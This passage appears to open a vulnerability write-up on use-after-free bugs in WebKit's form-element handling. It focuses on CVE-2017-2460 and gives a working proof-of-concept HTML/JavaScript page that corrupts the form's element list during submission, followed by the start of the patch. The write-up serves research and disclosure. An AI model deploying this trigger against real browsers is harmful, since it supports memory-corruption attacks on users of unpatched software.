Three UaFs when iterating through HTMLFormElement::associatedElements
First of all, lets look at CVE-2017-2460. It was reported in 2017-Jan-19. PoC: ================================================================= <script> function go() { object.name = "foo"; input.autofocus = true; output.appendChild(input); form.submit(); } function eventhandler() { for(var i=0;i<100;i++) { var e = document.createElement("input"); form.appendChild(e); } } </script> <body onload=go()> <form id="form"> <object id="object"> <output id="output">a</output> <input id="input" onfocus="eventhandler()"> ================================================================= Patch: @@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool) if (name().isEmpty()) return false; - Widget* widget = pluginWidget(); + ...
